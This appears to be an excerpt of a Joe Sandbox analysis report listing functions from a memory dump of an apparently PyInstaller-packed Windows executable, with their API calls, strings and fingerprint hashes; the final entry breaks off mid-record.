FlsSetValue.KERNEL32 ref: 00007FF72C66B29E

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: 91aff1a4218b12280ddb1d21c226ababfb5afb4d7add09cf78fe9f9f70166706
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: 9C110D24A0C20785F99A72614D51179B2A7FFA5330FA4473CE97E456C2DE2DB4815A31

Function 00007FF72C665FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C665FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C666106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6661BC

Strings

verbose, xrefs: 00007FF72C665FB0

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 4d3c2c19871df30d0da8be690ca060c8999831cb4cf82644c868f4712a798c62
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 0591F532A0CA4641E722AE29EC5037DF6B6FB60B64FE44139DA5D433C5DE3DE4458B20

Function 00007FF72C66FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66FEA7

Part of subcall function 00007FF72C667A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C667A59

Strings

ccs, xrefs: 00007FF72C66FDE2
UTF-16LEUNICODE, xrefs: 00007FF72C66FE45
UTF-8, xrefs: 00007FF72C66FE26

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 9168ac49bc1544466ca037400ab4dc9444bc15183802600d0e4d9c06423c100f
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: FA819672D081429DE7667E25C910379B6F2FB31768FF54039CA0997285CF2EB9019B23

Function 00007FF72C65D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72C65D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF72C65D70A
RtlUnwindEx.KERNEL32 ref: 00007FF72C65D764

Strings

csm, xrefs: 00007FF72C65D6F1

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: b353b5b21308d8c34528948bb3da8c03ed2b24e3718d2fcd16a3f259ff3d6573
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 13519136A196028ADB16EB15D944A7DB792FB64BE8FA04130DB4D477C8DF7CE841CB10

Function 00007FF72C65EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF72C65EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF72C65EF83

Strings

RCC, xrefs: 00007FF72C65EF53
MOC, xrefs: 00007FF72C65EF4B

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: c4a12d63d9c9e1749a6b0f7ed45af4343cb6e5eddea43c0770adb01e305bf7a3
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: C2619E32908BC585EB31AF15E8403AAB7A1FB957E8F544225EB9C03B99DF7DD090CB10

Function 00007FF72C65F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72C65F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF72C65F398

Strings

csm, xrefs: 00007FF72C65F3EA
csm, xrefs: 00007FF72C65F2D2

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 48c74187229be5f65c86340b6f42d7d27ce04f4ff2c29b7c0277e5e36e681679
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 6951A4326082428AEB65AB21D94427CB792FF64BE4FA44135DB4C43BC6CF3DE450CB56

Function 00007FF72C657E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF72C65352C,?,00000000,00007FF72C653F23), ref: 00007FF72C657F32

Strings

%.*s, xrefs: 00007FF72C657EEB
\, xrefs: 00007FF72C657E97
%s%c, xrefs: 00007FF72C657EA4

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: 3ab870406fbb125b25def75207c35beec4136f729361646222f73b7df737d243
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: EC31E921729AC145EA32AB10EC103AAA256FF94BF0F900630EB6D437C9DE2CD205CB10

Function 00007FF72C652810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF72C6528EA

Strings

ERROR, xrefs: 00007FF72C65286F
[PYI-%d:%ls] , xrefs: 00007FF72C652868
Error, xrefs: 00007FF72C6528DD

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: efc2cc75949c28834838293192019e9b07c730c3f009e7eae94369211073c948
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: 2E21F332708B4192E711AB54F8453EAB3A1FB98790F800136EA8D53659DF3CD259CB50

Function 00007FF72C66C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF72C66C61F
WriteFile.KERNEL32 ref: 00007FF72C66C8E7
WriteFile.KERNEL32 ref: 00007FF72C66C92D
GetLastError.KERNEL32 ref: 00007FF72C66C9E3

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 8b524a3827706a60c711ccd8df38208960b7ce08d737fe9669f057a6b4006148
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 17D10672B08E8199E712DF65C8402AC77B3FB647A8B944239DE5E97B85DE3CD006CB50

Function 00007FF72C66F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72C66FA7C
_get_daylight.LIBCMT ref: 00007FF72C66FA8D
_get_daylight.LIBCMT ref: 00007FF72C66FA9E
_isindst.LIBCMT ref: 00007FF72C66FB69

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: e798a9ff5af1f77481553a2b50c57e67a3fc125e8c1208f250ac492d15c85b07
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: F251F472F042118AFB15EB749D556BCB7A2FB64378FA00239DD1E52AE5DB3DA4028B10

Function 00007FF72C66577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF72C6657AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF72C665811
GetLastError.KERNEL32 ref: 00007FF72C6658A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72C6656B4), ref: 00007FF72C6658EE

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 456a85463ffdc7f94a5d37425dee7b1e58438086be9ef758e12bc11d0159c845
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 30518E22E046418AF711EF61D8513BDB7B2FB68B68F644539DB0947B88DF3CD4408B60

Function 00007FF72C6520C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF72C6520F4
SetWindowLongPtrW.USER32 ref: 00007FF72C652116
GetWindowLongPtrW.USER32 ref: 00007FF72C652140
InvalidateRect.USER32 ref: 00007FF72C652160

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: b2b7638f0be3dba353e948db6fc7c658ebe20f7f021b8a8a3537daf0698cbfa2
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 0211E931A0C14242F656A769ED4927A9353FFA47E0FD44030DB4907B8DCD2DD4D58A10

Function 00007FF72C675B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF72C671760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C671793

_get_daylight.LIBCMT ref: 00007FF72C675C34
_get_daylight.LIBCMT ref: 00007FF72C675C45

Strings

?, xrefs: 00007FF72C675BC5

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction ID: 2c8d51917cfdedeef6d7a7d46cd1ee7869b08b06d17c0088ae84c53382110e74
Opcode Fuzzy Hash: 21862b7f5a6063227688de7d7fc5fbfc7fa1fb1d7946118fe9e576ba790fa6aa
Instruction Fuzzy Hash: B1414912A0838242FB22AB259C52379E762FBA0BB4F944679EE5C07AD5DF3CD445CF10

Function 00007FF72C669014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C669046

Part of subcall function 00007FF72C66A948: RtlFreeHeap.NTDLL(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
Part of subcall function 00007FF72C66A948: GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF72C65CBA5), ref: 00007FF72C669064

Strings

C:\Users\user\AppData\Roaming\program.exe, xrefs: 00007FF72C669052

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Roaming\program.exe
API String ID: 3580290477-4122129678
Opcode ID: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction ID: f4feaf36a7a1201411cbf3947db74d7d10bf82483e76da0c7c89f30fbfe82c50
Opcode Fuzzy Hash: 136b352ca89953b7aac46d199a587659114d0cf60bae53edf27061cb20026a80
Instruction Fuzzy Hash: FB417031A0860285EB1AAF219D401BCB3A6FF547A4BA54039ED4E47B85DE3DD481CB60

Function 00007FF72C66CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF72C66CD4F
GetLastError.KERNEL32 ref: 00007FF72C66CD71

Strings

U, xrefs: 00007FF72C66CCFB

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 7c5b059ea10da6695cd57e5382a94c849e9edd373851d585ba448e8953ba70c0
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: AD41E532718E8191DB219F25E8443A9B7A2FBA87A4F904135EE4D87788EF3CD401CB60

Function 00007FF72C66F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF72C66F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF72C66F64A

Strings

:, xrefs: 00007FF72C66F60E

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction ID: e6e70bc9d0cd5a71794d595a94ef130351871ab5e2c65e8bef176cd5383bb8e3
Opcode Fuzzy Hash: 9aa1b1c0966d0181e71a7442aa19fd9d8a3a06258be719e39fc35e3b215e25b0
Instruction Fuzzy Hash: D821F562B0828185EB22AB11D84426DB3B3FBA8B54FE54039D64D83684CF7DE5448F62

Function 00007FF72C65FD48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF72C65FD98
RaiseException.KERNEL32 ref: 00007FF72C65FDD9

Strings

csm, xrefs: 00007FF72C65FDC6

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction ID: d52d067b7d8bfc96dad9dc48c807845a0d80928504ad2c331d0c2c5901975ec5
Opcode Fuzzy Hash: b596af9f6a60738c50b353da5cbad86497326ffe12a5eabfdc94c01c9dae4a3e
Instruction Fuzzy Hash: B9112E32619B8182EB629F15E840269B7E5FB98B94F584630DB8D07758DF3DD5518B00

Function 00007FF72C67073C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C67076C
GetDriveTypeW.KERNEL32 ref: 00007FF72C6707AC

Strings

:, xrefs: 00007FF72C670795

Memory Dump Source

Source File: 00000005.00000002.1960476725.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000005.00000002.1960434501.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960550625.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960610323.00007FF72C692000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1960713333.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff72c650000_program.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 68237dfdc7112287ec82a3b365f776b5c9f6f856de5878160eaa1a8f91e0357f
